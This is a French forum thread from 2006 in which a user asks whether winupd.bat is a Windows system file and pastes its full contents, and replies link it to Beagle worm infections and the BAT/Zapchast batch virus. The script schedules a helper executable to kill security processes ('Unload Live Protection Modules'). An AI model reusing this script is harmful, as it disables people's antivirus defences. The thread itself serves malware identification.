OVH Cloud OVH Cloud

winupd.bat ?????

3 réponses
Avatar
helpweb
Bonjour
J’aurai voulu savoir si le fichier se trouvant directement sous c :
Winupd.bat etait un fichier système de windows ou non ?
Je vous pose cette question parce que mon antivirus « bitdefender 9 »
M’a trouvé le fichier upd.exe dans …Local Setting\temp\upd.exe comme étant
un virus
Et comme dans le fichier .bat, il fait allusion au ficher upd.exe je me suis
dit qu’il fallait surveiller.
Voila ce que dit le fichier winupd .bat
Si quelqu’un connaît la réponse je lui en serai très reconnaissant
Merci


@ECHO OFF
SETLOCAL
SET DEBUG=FALSE
IF "%2"=="" goto Usage
SET fAmt=%1
SET fCmd=%2
IF %fAmt% GTR 60 GOTO Usage
IF %fAmt% LSS 1 GOTO Usage
SET fOpt=
IF %DEBUG%==TRUE ECHO fAmt %fAmt% fCmd %fCmd% fOpt %fOpt%
START /W REGEDIT /E %TEMP%.\_TEMP.REG "HKEY_CURRENT_USER\Control
Panel\International"
FOR /F "tokens=1* delims==" %%A IN ('TYPE %TEMP%.\_TEMP.REG ^| FIND /I
"iDate"') DO SET iDate=%%B
FOR /F "tokens=1* delims==" %%A IN ('TYPE %TEMP%.\_TEMP.REG ^| FIND /I
"sDate"') DO SET sDate=%%B
FOR /F "tokens=1* delims==" %%A IN ('TYPE %TEMP%.\_TEMP.REG ^| FIND /I
"iTime" ^| FIND /I /V "iTimePrefix"') DO SET iTime=%%B
FOR /F "tokens=1* delims==" %%A IN ('TYPE %TEMP%.\_TEMP.REG ^| FIND /I
"sTime" ^| FIND /I /V "sTimeFormat" ^| FIND /I /V "sTimePrefix"') DO SET
sTime=%%B
SET iDate=%iDate:"=%
SET sDate=%sDate:"=%
SET iTime=%iTime:"=%
SET sTime=%sTime:"=%
IF EXIST %TEMP%.\_TEMP.REG DEL %TEMP%.\_TEMP.REG
IF %iDate%==0 FOR /F "TOKENS=1-4* DELIMS=%sDate% " %%A IN ('DATE/T') DO (
SET CYear=%%D
SET CMonth=%%B
SET CDay=%%C
SET SortDate=%%D%%B%%C
)
IF %iDate%==1 FOR /F "TOKENS=1-4* DELIMS=%sDate% " %%A IN ('DATE/T') DO (
SET CYear=%%D
SET CMonth=%%C
SET CDay=%%B
SET SortDate=%%D%%C%%B
)
IF %iDate%==2 FOR /F "TOKENS=1-4* DELIMS=%sDate% " %%A IN ('DATE/T') DO (
SET CYear=%%B
SET CMonth=%%C
SET CDay=%%D
SET SortDate=%%B%%C%%D
)
SET /A CMonth = 1%CMonth% - 100
SET /A CDay = 1%CDay% - 100
FOR /F "TOKENS=1,2* DELIMS=%sTime% " %%A IN ('TIME/T') DO (
SET CHour=%%A
SET CMins=%%B
SET SortTime=%%A%%B
)
IF %iTime%==1 GOTO SkipAmPm
SET AMPM=%CMins:~2,1%
SET CMins=%CMins:~0,2%
IF "%CHour:~0,1%"=="0" IF NOT "%CHour%"=="0" SET /A CHour = 1%CHour% - 100
IF %CHour% LSS 12 IF /I %AMPM%==P SET /A CHour = %CHour% + 12
IF %CHour% EQU 12 IF /I %AMPM%==A SET CHour=0
:SkipAmPm
SET /A CMins = 1%CMins% - 100
IF "%CHour:~0,1%"=="0" IF NOT "%CHour%"=="0" SET /A CHour = 1%CHour% - 100
IF /I "%DEBUG%"=="TRUE" SET C | FIND /I /V "COM"
IF /I "%DEBUG%"=="TRUE" SET SORT
SET /A tMax = 59 - %fAmt%
IF %CMins% GTR %tMax% (CALL :RollHour) ELSE (SET /A CMins = %CMins% + %fAmt%)
IF %CMins% LSS 10 SET CMins = 0%CMins%
IF %CHour% LSS 10 SET CHour = 0%CHour%

:: Unload Live Protection Modules
AT %CHour%:%CMins% C:\DOCUME~1\Tami\LOCALS~1\Temp\upd.exe thguard.exe
AT %CHour%:%CMins% C:\DOCUME~1\Tami\LOCALS~1\Temp\upd.exe -t safensec.exe


GOTO End


:RollHour
SET /A CMins = %CMins% - 60 + %fAmt%
IF %CHour% EQU 23 SET CHour=-1
SET /A CHour = %CHour% + 1
GOTO:EOF

:Usage
GOTO End

:End
ENDLOCAL

3 réponses

Avatar
Surf
Bonjour,

Il semblerait que "winupd.bat" soit associé à un virus ou trojan, il se peut
alors que quelques saletés dans ton PC.
Semblerait que winupd.exe soit ajouté par les vers BEAGLE.M ou BEAGLE.N
Le tout est de connaître le nom de cette infection pour nettoyer.
Vaut mieux attendre l'avis d'autres personnes pour plus de renseignements!

Surf
Avatar
Luis Alberto Heiremans
Les lumières de helpweb nous éclairent le 16/01/06 avec ces mots
brillants:
Bonjour
J�aurai voulu savoir si le fichier se trouvant directement sous c :
Winupd.bat etait un fichier système de windows ou non ?
Je vous pose cette question parce que mon antivirus « bitdefender 9 »
M�a trouvé le fichier upd.exe dans ⤦Local Settingtempupd.exe comme
étant un virus
Et comme dans le fichier .bat, il fait allusion au ficher upd.exe je me suis
dit qu�il fallait surveiller.


A l'ouverture de ton message, Antivir donne l'alerte suivante:

Contains signature of the batch virus BAT/Zapchast.7

--
Saludos

Avatar
Surf
Contains signature of the batch virus BAT/Zapchast.7


L'ouverture de ce message sur ce ng ? je n'ai rien eu, et pourtant je suis
bien pourvue et mise à jour (Ad-Aware, Spybot, Microsoft Anti Spyware en
temps réel, Antivirus...).

Surf